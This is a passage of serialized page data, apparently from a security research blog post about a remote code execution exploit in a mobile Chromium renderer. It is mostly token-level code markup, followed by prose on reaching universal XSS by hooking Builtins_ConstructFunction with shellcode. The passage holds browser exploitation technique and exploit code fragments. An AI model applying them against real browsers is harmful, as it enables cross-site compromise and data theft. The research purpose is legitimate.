2],{"type":32,"value":3732},{"type":26,"tag":475,"props":137694,"children":137695},{"style":499},[137696],{"type":32,"value":637},{"type":26,"tag":475,"props":137698,"children":137699},{"style":903},[137700],{"type":32,"value":3732},{"type":26,"tag":475,"props":137702,"children":137703},{"style":499},[137704],{"type":32,"value":637},{"type":26,"tag":475,"props":137706,"children":137707},{"style":903},[137708],{"type":32,"value":3732},{"type":26,"tag":475,"props":137710,"children":137711},{"style":499},[137712],{"type":32,"value":637},{"type":26,"tag":475,"props":137714,"children":137715},{"style":903},[137716],{"type":32,"value":3732},{"type":26,"tag":475,"props":137718,"children":137719},{"style":499},[137720],{"type":32,"value":637},{"type":26,"tag":475,"props":137722,"children":137723},{"style":903},[137724],{"type":32,"value":3732},{"type":26,"tag":475,"props":137726,"children":137727},{"style":499},[137728],{"type":32,"value":637},{"type":26,"tag":475,"props":137730,"children":137731},{"style":903},[137732],{"type":32,"value":3732},{"type":26,"tag":475,"props":137734,"children":137735},{"style":499},[137736],{"type":32,"value":637},{"type":26,"tag":475,"props":137738,"children":137739},{"style":903},[137740],{"type":32,"value":3732},{"type":26,"tag":475,"props":137742,"children":137743},{"style":499},[137744],{"type":32,"value":637},{"type":26,"tag":475,"props":137746,"children":137747},{"style":903},[137748],{"type":32,"value":3732},{"type":26,"tag":475,"props":137750,"children":137751},{"style":499},[137752],{"type":32,"value":637},{"type":26,"tag":475,"props":137754,"children":137755},{"style":903},[137756],{"type":32,"value":3732},{"type":26,"tag":475,"props":137758,"children":137759},{"style":499},[137760],{"type":32,"value":637},{"type":26,"tag":475,"props":137762,"children":137763},{"style":903},[137764],{"type":32,"value":3732},{"type":26,"tag":475,"props":137766,"children":137767},{"style":499},[137768],{"type":32,"value":637},{"type":26,"tag":475,"props":137770,"children":137771},{"style":903},[137772],{"type":32,"value":3732},{"type":26,"tag":475,"props":137774,"children":137775},{"style":499},[137776],{"type":32,"value":637},{"type":26,"tag":475,"props":137778,"children":137779},{"style":903},[137780],{"type":32,"value":29125},{"type":26,"tag":475,"props":137782,"children":137783},{"style":499},[137784],{"type":32,"value":637},{"type":26,"tag":475,"props":137786,"children":137787},{"style":903},[137788],{"type":32,"value":3732},{"type":26,"tag":475,"props":137790,"children":137791},{"style":499},[137792],{"type":32,"value":637},{"type":26,"tag":475,"props":137794,"children":137795},{"style":903},[137796],{"type":32,"value":3732},{"type":26,"tag":475,"props":137798,"children":137799},{"style":499},[137800],{"type":32,"value":637},{"type":26,"tag":475,"props":137802,"children":137803},{"style":903},[137804],{"type":32,"value":3732},{"type":26,"tag":475,"props":137806,"children":137807},{"style":499},[137808],{"type":32,"value":637},{"type":26,"tag":475,"props":137810,"children":137811},{"style":903},[137812],{"type":32,"value":3732},{"type":26,"tag":475,"props":137814,"children":137815},{"style":499},[137816],{"type":32,"value":637},{"type":26,"tag":475,"props":137818,"children":137819},{"style":903},[137820],{"type":32,"value":3732},{"type":26,"tag":475,"props":137822,"children":137823},{"style":499},[137824],{"type":32,"value":637},{"type":26,"tag":475,"props":137826,"children":137827},{"style":903},[137828],{"type":32,"value":3732},{"type":26,"tag":475,"props":137830,"children":137831},{"style":499},[137832],{"type":32,"value":637},{"type":26,"tag":475,"props":137834,"children":137835},{"style":903},[137836],{"type":32,"value":3732},{"type":26,"tag":475,"props":137838,"children":137839},{"style":499},[137840],{"type":32,"value":637},{"type":26,"tag":475,"props":137842,"children":137843},{"style":903},[137844],{"type":32,"value":3732},{"type":26,"tag":475,"props":137846,"children":137847},{"style":499},[137848],{"type":32,"value":637},{"type":26,"tag":475,"props":137850,"children":137851},{"style":903},[137852],{"type":32,"value":3732},{"type":26,"tag":475,"props":137854,"children":137855},{"style":499},[137856],{"type":32,"value":637},{"type":26,"tag":475,"props":137858,"children":137859},{"style":903},[137860],{"type":32,"value":3732},{"type":26,"tag":475,"props":137862,"children":137863},{"style":499},[137864],{"type":32,"value":637},{"type":26,"tag":475,"props":137866,"children":137867},{"style":903},[137868],{"type":32,"value":3732},{"type":26,"tag":475,"props":137870,"children":137871},{"style":499},[137872],{"type":32,"value":637},{"type":26,"tag":475,"props":137874,"children":137875},{"style":903},[137876],{"type":32,"value":3732},{"type":26,"tag":475,"props":137878,"children":137879},{"style":499},[137880],{"type":32,"value":2425},{"type":26,"tag":475,"props":137882,"children":137883},{"class":477,"line":679},[137884,137888,137892,137896,137900,137904,137908,137912,137916,137920,137924,137928,137932,137936,137940,137944,137948,137952,137956,137960,137964,137968,137972,137976,137980,137984,137988,137992,137996,138000,138004,138008,138012,138017,138021,138026,138030,138034,138038,138043,138047,138051,138055,138059,138063,138067,138071,138076,138080,138084,138088,138093,138097,138101],{"type":26,"tag":475,"props":137885,"children":137886},{"style":903},[137887],{"type":32,"value":133629},{"type":26,"tag":475,"props":137889,"children":137890},{"style":499},[137891],{"type":32,"value":637},{"type":26,"tag":475,"props":137893,"children":137894},{"style":903},[137895],{"type":32,"value":3732},{"type":26,"tag":475,"props":137897,"children":137898},{"style":499},[137899],{"type":32,"value":637},{"type":26,"tag":475,"props":137901,"children":137902},{"style":903},[137903],{"type":32,"value":3732},{"type":26,"tag":475,"props":137905,"children":137906},{"style":499},[137907],{"type":32,"value":637},{"type":26,"tag":475,"props":137909,"children":137910},{"style":903},[137911],{"type":32,"value":3732},{"type":26,"tag":475,"props":137913,"children":137914},{"style":499},[137915],{"type":32,"value":637},{"type":26,"tag":475,"props":137917,"children":137918},{"style":903},[137919],{"type":32,"value":3732},{"type":26,"tag":475,"props":137921,"children":137922},{"style":499},[137923],{"type":32,"value":637},{"type":26,"tag":475,"props":137925,"children":137926},{"style":903},[137927],{"type":32,"value":3732},{"type":26,"tag":475,"props":137929,"children":137930},{"style":499},[137931],{"type":32,"value":637},{"type":26,"tag":475,"props":137933,"children":137934},{"style":903},[137935],{"type":32,"value":3732},{"type":26,"tag":475,"props":137937,"children":137938},{"style":499},[137939],{"type":32,"value":637},{"type":26,"tag":475,"props":137941,"children":137942},{"style":903},[137943],{"type":32,"value":3732},{"type":26,"tag":475,"props":137945,"children":137946},{"style":499},[137947],{"type":32,"value":637},{"type":26,"tag":475,"props":137949,"children":137950},{"style":903},[137951],{"type":32,"value":3732},{"type":26,"tag":475,"props":137953,"children":137954},{"style":499},[137955],{"type":32,"value":637},{"type":26,"tag":475,"props":137957,"children":137958},{"style":903},[137959],{"type":32,"value":3732},{"type":26,"tag":475,"props":137961,"children":137962},{"style":499},[137963],{"type":32,"value":637},{"type":26,"tag":475,"props":137965,"children":137966},{"style":903},[137967],{"type":32,"value":3732},{"type":26,"tag":475,"props":137969,"children":137970},{"style":499},[137971],{"type":32,"value":637},{"type":26,"tag":475,"props":137973,"children":137974},{"style":903},[137975],{"type":32,"value":3732},{"type":26,"tag":475,"props":137977,"children":137978},{"style":499},[137979],{"type":32,"value":637},{"type":26,"tag":475,"props":137981,"children":137982},{"style":903},[137983],{"type":32,"value":3732},{"type":26,"tag":475,"props":137985,"children":137986},{"style":499},[137987],{"type":32,"value":637},{"type":26,"tag":475,"props":137989,"children":137990},{"style":903},[137991],{"type":32,"value":3732},{"type":26,"tag":475,"props":137993,"children":137994},{"style":499},[137995],{"type":32,"value":637},{"type":26,"tag":475,"props":137997,"children":137998},{"style":903},[137999],{"type":32,"value":3732},{"type":26,"tag":475,"props":138001,"children":138002},{"style":499},[138003],{"type":32,"value":637},{"type":26,"tag":475,"props":138005,"children":138006},{"style":903},[138007],{"type":32,"value":2830},{"type":26,"tag":475,"props":138009,"children":138010},{"style":499},[138011],{"type":32,"value":637},{"type":26,"tag":475,"props":138013,"children":138014},{"style":903},[138015],{"type":32,"value":138016},"95",{"type":26,"tag":475,"props":138018,"children":138019},{"style":499},[138020],{"type":32,"value":637},{"type":26,"tag":475,"props":138022,"children":138023},{"style":903},[138024],{"type":32,"value":138025},"36",{"type":26,"tag":475,"props":138027,"children":138028},{"style":499},[138029],{"type":32,"value":637},{"type":26,"tag":475,"props":138031,"children":138032},{"style":903},[138033],{"type":32,"value":17002},{"type":26,"tag":475,"props":138035,"children":138036},{"style":499},[138037],{"type":32,"value":637},{"type":26,"tag":475,"props":138039,"children":138040},{"style":903},[138041],{"type":32,"value":138042},"213",{"type":26,"tag":475,"props":138044,"children":138045},{"style":499},[138046],{"type":32,"value":637},{"type":26,"tag":475,"props":138048,"children":138049},{"style":903},[138050],{"type":32,"value":40535},{"type":26,"tag":475,"props":138052,"children":138053},{"style":499},[138054],{"type":32,"value":637},{"type":26,"tag":475,"props":138056,"children":138057},{"style":903},[138058],{"type":32,"value":3722},{"type":26,"tag":475,"props":138060,"children":138061},{"style":499},[138062],{"type":32,"value":637},{"type":26,"tag":475,"props":138064,"children":138065},{"style":903},[138066],{"type":32,"value":29550},{"type":26,"tag":475,"props":138068,"children":138069},{"style":499},[138070],{"type":32,"value":637},{"type":26,"tag":475,"props":138072,"children":138073},{"style":903},[138074],{"type":32,"value":138075},"210",{"type":26,"tag":475,"props":138077,"children":138078},{"style":499},[138079],{"type":32,"value":637},{"type":26,"tag":475,"props":138081,"children":138082},{"style":903},[138083],{"type":32,"value":134022},{"type":26,"tag":475,"props":138085,"children":138086},{"style":499},[138087],{"type":32,"value":637},{"type":26,"tag":475,"props":138089,"children":138090},{"style":903},[138091],{"type":32,"value":138092},"35",{"type":26,"tag":475,"props":138094,"children":138095},{"style":499},[138096],{"type":32,"value":637},{"type":26,"tag":475,"props":138098,"children":138099},{"style":903},[138100],{"type":32,"value":17002},{"type":26,"tag":475,"props":138102,"children":138103},{"style":499},[138104],{"type":32,"value":2425},{"type":26,"tag":475,"props":138106,"children":138107},{"class":477,"line":735},[138108,138113,138117,138122,138126,138131,138135,138140,138144,138149,138153,138158,138162,138167,138171,138175,138179,138183,138187,138191,138195,138199,138203,138207,138211,138216,138220,138225,138229,138233,138237,138241,138245,138249,138253,138257,138261,138265,138269,138274,138278,138283],{"type":26,"tag":475,"props":138109,"children":138110},{"style":903},[138111],{"type":32,"value":138112}," 213",{"type":26,"tag":475,"props":138114,"children":138115},{"style":499},[138116],{"type":32,"value":637},{"type":26,"tag":475,"props":138118,"children":138119},{"style":903},[138120],{"type":32,"value":138121},"231",{"type":26,"tag":475,"props":138123,"children":138124},{"style":499},[138125],{"type":32,"value":637},{"type":26,"tag":475,"props":138127,"children":138128},{"style":903},[138129],{"type":32,"value":138130},"67",{"type":26,"tag":475,"props":138132,"children":138133},{"style":499},[138134],{"type":32,"value":637},{"type":26,"tag":475,"props":138136,"children":138137},{"style":903},[138138],{"type":32,"value":138139},"190",{"type":26,"tag":475,"props":138141,"children":138142},{"style":499},[138143],{"type":32,"value":637},{"type":26,"tag":475,"props":138145,"children":138146},{"style":903},[138147],{"type":32,"value":138148},"169",{"type":26,"tag":475,"props":138150,"children":138151},{"style":499},[138152],{"type":32,"value":637},{"type":26,"tag":475,"props":138154,"children":138155},{"style":903},[138156],{"type":32,"value":138157},"253",{"type":26,"tag":475,"props":138159,"children":138160},{"style":499},[138161],{"type":32,"value":637},{"type":26,"tag":475,"props":138163,"children":138164},{"style":903},[138165],{"type":32,"value":138166},"123",{"type":26,"tag":475,"props":138168,"children":138169},{"style":499},[138170],{"type":32,"value":637},{"type":26,"tag":475,"props":138172,"children":138173},{"style":903},[138174],{"type":32,"value":3722},{"type":26,"tag":475,"props":138176,"children":138177},{"style":499},[138178],{"type":32,"value":637},{"type":26,"tag":475,"props":138180,"children":138181},{"style":903},[138182],{"type":32,"value":138148},{"type":26,"tag":475,"props":138184,"children":138185},{"style":499},[138186],{"type":32,"value":637},{"type":26,"tag":475,"props":138188,"children":138189},{"style":903},[138190],{"type":32,"value":138157},{"type":26,"tag":475,"props":138192,"children":138193},{"style":499},[138194],{"type":32,"value":637},{"type":26,"tag":475,"props":138196,"children":138197},{"style":903},[138198],{"type":32,"value":138130},{"type":26,"tag":475,"props":138200,"children":138201},{"style":499},[138202],{"type":32,"value":637},{"type":26,"tag":475,"props":138204,"children":138205},{"style":903},[138206],{"type":32,"value":3732},{"type":26,"tag":475,"props":138208,"children":138209},{"style":499},[138210],{"type":32,"value":637},{"type":26,"tag":475,"props":138212,"children":138213},{"style":903},[138214],{"type":32,"value":138215},"145",{"type":26,"tag":475,"props":138217,"children":138218},{"style":499},[138219],{"type":32,"value":637},{"type":26,"tag":475,"props":138221,"children":138222},{"style":903},[138223],{"type":32,"value":138224},"191",{"type":26,"tag":475,"props":138226,"children":138227},{"style":499},[138228],{"type":32,"value":637},{"type":26,"tag":475,"props":138230,"children":138231},{"style":903},[138232],{"type":32,"value":17002},{"type":26,"tag":475,"props":138234,"children":138235},{"style":499},[138236],{"type":32,"value":637},{"type":26,"tag":475,"props":138238,"children":138239},{"style":903},[138240],{"type":32,"value":3732},{"type":26,"tag":475,"props":138242,"children":138243},{"style":499},[138244],{"type":32,"value":637},{"type":26,"tag":475,"props":138246,"children":138247},{"style":903},[138248],{"type":32,"value":138215},{"type":26,"tag":475,"props":138250,"children":138251},{"style":499},[138252],{"type":32,"value":637},{"type":26,"tag":475,"props":138254,"children":138255},{"style":903},[138256],{"type":32,"value":138157},{"type":26,"tag":475,"props":138258,"children":138259},{"style":499},[138260],{"type":32,"value":637},{"type":26,"tag":475,"props":138262,"children":138263},{"style":903},[138264],{"type":32,"value":138166},{"type":26,"tag":475,"props":138266,"children":138267},{"style":499},[138268],{"type":32,"value":637},{"type":26,"tag":475,"props":138270,"children":138271},{"style":903},[138272],{"type":32,"value":138273},"193",{"type":26,"tag":475,"props":138275,"children":138276},{"style":499},[138277],{"type":32,"value":637},{"type":26,"tag":475,"props":138279,"children":138280},{"style":903},[138281],{"type":32,"value":138282},"168",{"type":26,"tag":475,"props":138284,"children":138285},{"style":499},[138286],{"type":32,"value":2425},{"type":26,"tag":475,"props":138288,"children":138289},{"class":477,"line":744},[138290,138295,138299,138303,138307,138311,138315,138319,138323,138327,138331,138335,138339,138343,138347,138352,138356,138360,138364,138368,138372,138376,138380,138384,138388,138392,138396,138400,138404,138408,138412,138416,138420,138424,138428,138432,138436,138440,138444,138448,138452,138456,138460,138464,138468,138472,138476,138480,138484,138488,138492,138496,138500,138504],{"type":26,"tag":475,"props":138291,"children":138292},{"style":903},[138293],{"type":32,"value":138294}," 255",{"type":26,"tag":475,"props":138296,"children":138297},{"style":499},[138298],{"type":32,"value":637},{"type":26,"tag":475,"props":138300,"children":138301},{"style":903},[138302],{"type":32,"value":138092},{"type":26,"tag":475,"props":138304,"children":138305},{"style":499},[138306],{"type":32,"value":637},{"type":26,"tag":475,"props":138308,"children":138309},{"style":903},[138310],{"type":32,"value":17002},{"type":26,"tag":475,"props":138312,"children":138313},{"style":499},[138314],{"type":32,"value":637},{"type":26,"tag":475,"props":138316,"children":138317},{"style":903},[138318],{"type":32,"value":138042},{"type":26,"tag":475,"props":138320,"children":138321},{"style":499},[138322],{"type":32,"value":637},{"type":26,"tag":475,"props":138324,"children":138325},{"style":903},[138326],{"type":32,"value":133977},{"type":26,"tag":475,"props":138328,"children":138329},{"style":499},[138330],{"type":32,"value":637},{"type":26,"tag":475,"props":138332,"children":138333},{"style":903},[138334],{"type":32,"value":17002},{"type":26,"tag":475,"props":138336,"children":138337},{"style":499},[138338],{"type":32,"value":637},{"type":26,"tag":475,"props":138340,"children":138341},{"style":903},[138342],{"type":32,"value":138016},{"type":26,"tag":475,"props":138344,"children":138345},{"style":499},[138346],{"type":32,"value":637},{"type":26,"tag":475,"props":138348,"children":138349},{"style":903},[138350],{"type":32,"value":138351},"214",{"type":26,"tag":475,"props":138353,"children":138354},{"style":499},[138355],{"type":32,"value":637},{"type":26,"tag":475,"props":138357,"children":138358},{"style":903},[138359],{"type":32,"value":96287},{"type":26,"tag":475,"props":138361,"children":138362},{"style":499},[138363],{"type":32,"value":637},{"type":26,"tag":475,"props":138365,"children":138366},{"style":903},[138367],{"type":32,"value":60038},{"type":26,"tag":475,"props":138369,"children":138370},{"style":499},[138371],{"type":32,"value":637},{"type":26,"tag":475,"props":138373,"children":138374},{"style":903},[138375],{"type":32,"value":17002},{"type":26,"tag":475,"props":138377,"children":138378},{"style":499},[138379],{"type":32,"value":637},{"type":26,"tag":475,"props":138381,"children":138382},{"style":903},[138383],{"type":32,"value":138042},{"type":26,"tag":475,"props":138385,"children":138386},{"style":499},[138387],{"type":32,"value":637},{"type":26,"tag":475,"props":138389,"children":138390},{"style":903},[138391],{"type":32,"value":17235},{"type":26,"tag":475,"props":138393,"children":138394},{"style":499},[138395],{"type":32,"value":637},{"type":26,"tag":475,"props":138397,"children":138398},{"style":903},[138399],{"type":32,"value":3732},{"type":26,"tag":475,"props":138401,"children":138402},{"style":499},[138403],{"type":32,"value":637},{"type":26,"tag":475,"props":138405,"children":138406},{"style":903},[138407],{"type":32,"value":3732},{"type":26,"tag":475,"props":138409,"children":138410},{"style":499},[138411],{"type":32,"value":637},{"type":26,"tag":475,"props":138413,"children":138414},{"style":903},[138415],{"type":32,"value":3732},{"type":26,"tag":475,"props":138417,"children":138418},{"style":499},[138419],{"type":32,"value":637},{"type":26,"tag":475,"props":138421,"children":138422},{"style":903},[138423],{"type":32,"value":3732},{"type":26,"tag":475,"props":138425,"children":138426},{"style":499},[138427],{"type":32,"value":637},{"type":26,"tag":475,"props":138429,"children":138430},{"style":903},[138431],{"type":32,"value":3732},{"type":26,"tag":475,"props":138433,"children":138434},{"style":499},[138435],{"type":32,"value":637},{"type":26,"tag":475,"props":138437,"children":138438},{"style":903},[138439],{"type":32,"value":3732},{"type":26,"tag":475,"props":138441,"children":138442},{"style":499},[138443],{"type":32,"value":637},{"type":26,"tag":475,"props":138445,"children":138446},{"style":903},[138447],{"type":32,"value":3732},{"type":26,"tag":475,"props":138449,"children":138450},{"style":499},[138451],{"type":32,"value":637},{"type":26,"tag":475,"props":138453,"children":138454},{"style":903},[138455],{"type":32,"value":3732},{"type":26,"tag":475,"props":138457,"children":138458},{"style":499},[138459],{"type":32,"value":637},{"type":26,"tag":475,"props":138461,"children":138462},{"style":903},[138463],{"type":32,"value":17235},{"type":26,"tag":475,"props":138465,"children":138466},{"style":499},[138467],{"type":32,"value":637},{"type":26,"tag":475,"props":138469,"children":138470},{"style":903},[138471],{"type":32,"value":3732},{"type":26,"tag":475,"props":138473,"children":138474},{"style":499},[138475],{"type":32,"value":637},{"type":26,"tag":475,"props":138477,"children":138478},{"style":903},[138479],{"type":32,"value":3732},{"type":26,"tag":475,"props":138481,"children":138482},{"style":499},[138483],{"type":32,"value":637},{"type":26,"tag":475,"props":138485,"children":138486},{"style":903},[138487],{"type":32,"value":3732},{"type":26,"tag":475,"props":138489,"children":138490},{"style":499},[138491],{"type":32,"value":637},{"type":26,"tag":475,"props":138493,"children":138494},{"style":903},[138495],{"type":32,"value":3732},{"type":26,"tag":475,"props":138497,"children":138498},{"style":499},[138499],{"type":32,"value":637},{"type":26,"tag":475,"props":138501,"children":138502},{"style":903},[138503],{"type":32,"value":3732},{"type":26,"tag":475,"props":138505,"children":138506},{"style":499},[138507],{"type":32,"value":2425},{"type":26,"tag":475,"props":138509,"children":138510},{"class":477,"line":753},[138511,138515,138519,138523,138527,138531,138535,138539,138543,138547,138551,138556,138560,138565,138569,138574,138578,138582],{"type":26,"tag":475,"props":138512,"children":138513},{"style":903},[138514],{"type":32,"value":133629},{"type":26,"tag":475,"props":138516,"children":138517},{"style":499},[138518],{"type":32,"value":637},{"type":26,"tag":475,"props":138520,"children":138521},{"style":903},[138522],{"type":32,"value":3732},{"type":26,"tag":475,"props":138524,"children":138525},{"style":499},[138526],{"type":32,"value":637},{"type":26,"tag":475,"props":138528,"children":138529},{"style":903},[138530],{"type":32,"value":3732},{"type":26,"tag":475,"props":138532,"children":138533},{"style":499},[138534],{"type":32,"value":637},{"type":26,"tag":475,"props":138536,"children":138537},{"style":903},[138538],{"type":32,"value":3732},{"type":26,"tag":475,"props":138540,"children":138541},{"style":499},[138542],{"type":32,"value":637},{"type":26,"tag":475,"props":138544,"children":138545},{"style":903},[138546],{"type":32,"value":3732},{"type":26,"tag":475,"props":138548,"children":138549},{"style":499},[138550],{"type":32,"value":637},{"type":26,"tag":475,"props":138552,"children":138553},{"style":903},[138554],{"type":32,"value":138555},"92",{"type":26,"tag":475,"props":138557,"children":138558},{"style":499},[138559],{"type":32,"value":637},{"type":26,"tag":475,"props":138561,"children":138562},{"style":903},[138563],{"type":32,"value":138564},"50",{"type":26,"tag":475,"props":138566,"children":138567},{"style":499},[138568],{"type":32,"value":637},{"type":26,"tag":475,"props":138570,"children":138571},{"style":903},[138572],{"type":32,"value":138573},"162",{"type":26,"tag":475,"props":138575,"children":138576},{"style":499},[138577],{"type":32,"value":637},{"type":26,"tag":475,"props":138579,"children":138580},{"style":903},[138581],{"type":32,"value":3732},{"type":26,"tag":475,"props":138583,"children":138584},{"style":499},[138585],{"type":32,"value":2425},{"type":26,"tag":475,"props":138587,"children":138588},{"class":477,"line":761},[138589],{"type":26,"tag":475,"props":138590,"children":138591},{"style":499},[138592],{"type":32,"value":133916},{"type":26,"tag":475,"props":138594,"children":138595},{"class":477,"line":770},[138596,138600,138604,138608,138612,138616,138620,138624,138628,138632,138636],{"type":26,"tag":475,"props":138597,"children":138598},{"style":482},[138599],{"type":32,"value":2372},{"type":26,"tag":475,"props":138601,"children":138602},{"style":2375},[138603],{"type":32,"value":135369},{"type":26,"tag":475,"props":138605,"children":138606},{"style":714},[138607],{"type":32,"value":2383},{"type":26,"tag":475,"props":138609,"children":138610},{"style":493},[138611],{"type":32,"value":135378},{"type":26,"tag":475,"props":138613,"children":138614},{"style":499},[138615],{"type":32,"value":626},{"type":26,"tag":475,"props":138617,"children":138618},{"style":2375},[138619],{"type":32,"value":133247},{"type":26,"tag":475,"props":138621,"children":138622},{"style":499},[138623],{"type":32,"value":637},{"type":26,"tag":475,"props":138625,"children":138626},{"style":2375},[138627],{"type":32,"value":124574},{"type":26,"tag":475,"props":138629,"children":138630},{"style":499},[138631],{"type":32,"value":353},{"type":26,"tag":475,"props":138633,"children":138634},{"style":2375},[138635],{"type":32,"value":124574},{"type":26,"tag":475,"props":138637,"children":138638},{"style":499},[138639],{"type":32,"value":3533},{"type":26,"tag":475,"props":138641,"children":138642},{"class":477,"line":794},[138643,138647,138651,138655,138659,138663,138667,138671,138675,138679],{"type":26,"tag":475,"props":138644,"children":138645},{"style":2375},[138646],{"type":32,"value":135414},{"type":26,"tag":475,"props":138648,"children":138649},{"style":714},[138650],{"type":32,"value":2383},{"type":26,"tag":475,"props":138652,"children":138653},{"style":499},[138654],{"type":32,"value":2775},{"type":26,"tag":475,"props":138656,"children":138657},{"style":586},[138658],{"type":32,"value":2476},{"type":26,"tag":475,"props":138660,"children":138661},{"style":2375},[138662],{"type":32,"value":135369},{"type":26,"tag":475,"props":138664,"children":138665},{"style":499},[138666],{"type":32,"value":353},{"type":26,"tag":475,"props":138668,"children":138669},{"style":493},[138670],{"type":32,"value":57257},{"type":26,"tag":475,"props":138672,"children":138673},{"style":499},[138674],{"type":32,"value":135443},{"type":26,"tag":475,"props":138676,"children":138677},{"style":2375},[138678],{"type":32,"value":38844},{"type":26,"tag":475,"props":138680,"children":138681},{"style":499},[138682],{"type":32,"value":2729},{"type":26,"tag":475,"props":138684,"children":138685},{"class":477,"line":831},[138686,138690,138694,138698,138702,138707,138711,138715],{"type":26,"tag":475,"props":138687,"children":138688},{"style":2375},[138689],{"type":32,"value":2458},{"type":26,"tag":475,"props":138691,"children":138692},{"style":499},[138693],{"type":32,"value":353},{"type":26,"tag":475,"props":138695,"children":138696},{"style":493},[138697],{"type":32,"value":2467},{"type":26,"tag":475,"props":138699,"children":138700},{"style":499},[138701],{"type":32,"value":626},{"type":26,"tag":475,"props":138703,"children":138704},{"style":629},[138705],{"type":32,"value":138706},"'DeserializeWasmModule result: '",{"type":26,"tag":475,"props":138708,"children":138709},{"style":714},[138710],{"type":32,"value":8616},{"type":26,"tag":475,"props":138712,"children":138713},{"style":2375},[138714],{"type":32,"value":8870},{"type":26,"tag":475,"props":138716,"children":138717},{"style":499},[138718],{"type":32,"value":3533},{"type":26,"tag":475,"props":138720,"children":138721},{"class":477,"line":845},[138722,138726,138730,138734,138738,138742,138746,138750,138754,138758],{"type":26,"tag":475,"props":138723,"children":138724},{"style":482},[138725],{"type":32,"value":35883},{"type":26,"tag":475,"props":138727,"children":138728},{"style":2375},[138729],{"type":32,"value":135463},{"type":26,"tag":475,"props":138731,"children":138732},{"style":714},[138733],{"type":32,"value":2383},{"type":26,"tag":475,"props":138735,"children":138736},{"style":482},[138737],{"type":32,"value":31633},{"type":26,"tag":475,"props":138739,"children":138740},{"style":2375},[138741],{"type":32,"value":133230},{"type":26,"tag":475,"props":138743,"children":138744},{"style":499},[138745],{"type":32,"value":353},{"type":26,"tag":475,"props":138747,"children":138748},{"style":493},[138749],{"type":32,"value":133284},{"type":26,"tag":475,"props":138751,"children":138752},{"style":499},[138753],{"type":32,"value":626},{"type":26,"tag":475,"props":138755,"children":138756},{"style":2375},[138757],{"type":32,"value":8793},{"type":26,"tag":475,"props":138759,"children":138760},{"style":499},[138761],{"type":32,"value":3533},{"type":26,"tag":475,"props":138763,"children":138764},{"class":477,"line":854},[138765,138769,138773,138777,138781,138785,138789,138793,138797],{"type":26,"tag":475,"props":138766,"children":138767},{"style":482},[138768],{"type":32,"value":35883},{"type":26,"tag":475,"props":138770,"children":138771},{"style":2375},[138772],{"type":32,"value":32668},{"type":26,"tag":475,"props":138774,"children":138775},{"style":714},[138776],{"type":32,"value":2383},{"type":26,"tag":475,"props":138778,"children":138779},{"style":2375},[138780],{"type":32,"value":135463},{"type":26,"tag":475,"props":138782,"children":138783},{"style":499},[138784],{"type":32,"value":353},{"type":26,"tag":475,"props":138786,"children":138787},{"style":2375},[138788],{"type":32,"value":37579},{"type":26,"tag":475,"props":138790,"children":138791},{"style":499},[138792],{"type":32,"value":353},{"type":26,"tag":475,"props":138794,"children":138795},{"style":2375},[138796],{"type":32,"value":133333},{"type":26,"tag":475,"props":138798,"children":138799},{"style":499},[138800],{"type":32,"value":2729},{"type":26,"tag":475,"props":138802,"children":138803},{"class":477,"line":862},[138804,138808,138812,138816,138820,138824],{"type":26,"tag":475,"props":138805,"children":138806},{"style":2375},[138807],{"type":32,"value":2458},{"type":26,"tag":475,"props":138809,"children":138810},{"style":499},[138811],{"type":32,"value":353},{"type":26,"tag":475,"props":138813,"children":138814},{"style":493},[138815],{"type":32,"value":2467},{"type":26,"tag":475,"props":138817,"children":138818},{"style":499},[138819],{"type":32,"value":626},{"type":26,"tag":475,"props":138821,"children":138822},{"style":2375},[138823],{"type":32,"value":32782},{"type":26,"tag":475,"props":138825,"children":138826},{"style":499},[138827],{"type":32,"value":3533},{"type":26,"tag":475,"props":138829,"children":138830},{"class":477,"line":885},[138831],{"type":26,"tag":475,"props":138832,"children":138833},{"style":499},[138834],{"type":32,"value":2502},{"type":26,"tag":35,"props":138836,"children":138837},{},[138838],{"type":32,"value":138839},"And this time, it works as expected:",{"type":26,"tag":35,"props":138841,"children":138842},{},[138843],{"type":26,"tag":132,"props":138844,"children":138847},{"alt":138845,"src":138846},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":26,"tag":41,"props":138849,"children":138851},{"id":138850},"achieving-universal-xss",[138852],{"type":32,"value":138853},"Achieving Universal XSS",{"type":26,"tag":35,"props":138855,"children":138856},{},[138857,138859,138865,138867,138874],{"type":32,"value":138858},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":26,"tag":116,"props":138860,"children":138863},{"href":138861,"rel":138862},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[120],[138864],{"type":32,"value":70023},{"type":32,"value":138866}," from Tencent Security and ",{"type":26,"tag":116,"props":138868,"children":138871},{"href":138869,"rel":138870},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[120],[138872],{"type":32,"value":138873},"research article",{"type":32,"value":138875}," from InterruptLabs.",{"type":26,"tag":35,"props":138877,"children":138878},{},[138879,138881,138888],{"type":32,"value":138880},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":26,"tag":116,"props":138882,"children":138885},{"href":138883,"rel":138884},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[120],[138886],{"type":32,"value":138887},"weaker version",{"type":32,"value":138889}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":26,"tag":35,"props":138891,"children":138892},{},[138893,138895,138901],{"type":32,"value":138894},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":26,"tag":53,"props":138896,"children":138898},{"className":138897},[],[138899],{"type":32,"value":138900},"Builtins_ConstructFunction",{"type":32,"value":138902},", making it a natural target.",{"type":26,"tag":35,"props":138904,"children":138905},{},[138906,138908,138913],{"type":32,"value":138907},"Our goal is for ",{"type":26,"tag":53,"props":138909,"children":138911},{"className":138910},[],[138912],{"type":32,"value":138900},{"type":32,"value":138914}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":26,"tag":82,"props":138916,"children":138917},{},[138918,138923,138933],{"type":26,"tag":86,"props":138919,"children":138920},{},[138921],{"type":32,"value":138922},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which 